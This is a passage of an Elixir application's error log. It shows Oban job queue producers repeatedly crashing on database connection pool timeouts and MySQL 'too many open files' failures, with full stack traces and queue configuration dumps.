#Reference<0.2525715032.1077411843.203510>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:46.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:36:34.244748Z], limit: 5, uuid: "458b29eb-a7e4-4138-bc22-5906bbf95180", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:34.244753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203541>, refresh_timer: #Reference<0.2525715032.1077411843.203519>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:36:34.247313Z], limit: 3, uuid: "22f4a207-f711-4205-b2d0-26b03d610114", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:34.247318Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203544>, refresh_timer: #Reference<0.2525715032.1121189889.81208>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:36:34.244337Z], limit: 50, uuid: "7abcd4c7-01bf-4e67-9bdf-24c8c2271fff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:34.244342Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203542>, refresh_timer: #Reference<0.2525715032.1077411843.203509>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:46.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:36:34.245009Z], limit: 20, uuid: "1e6aef0b-03ed-44c3-a303-8cb2bb5deed1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:34.245015Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203543>, refresh_timer: #Reference<0.2525715032.1121189889.81205>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:46.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:36:34.244536Z], limit: 10, uuid: "dc6f35fb-24ff-4b15-93e4-04e236c5f7c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:34.244541Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203539>, refresh_timer: #Reference<0.2525715032.1077411843.203507>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:48.065000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:52.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:53.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:55.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:56.146000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:57.727000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:36:46.248431Z], limit: 10, uuid: "4c82b000-cc31-42f1-baba-ce36052b6a9f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:46.248436Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203786>, refresh_timer: #Reference<0.2525715032.1068236804.229818>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:36:46.248373Z], limit: 20, uuid: "cf597f95-1b5d-47d4-ad83-886e109ed20f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:46.248379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.229820>, refresh_timer: #Reference<0.2525715032.1068236804.229814>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:36:46.247467Z], limit: 50, uuid: "3f4fe277-7338-417b-988d-5259e94edfc6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:46.247472Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203788>, refresh_timer: #Reference<0.2525715032.1121189889.81340>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
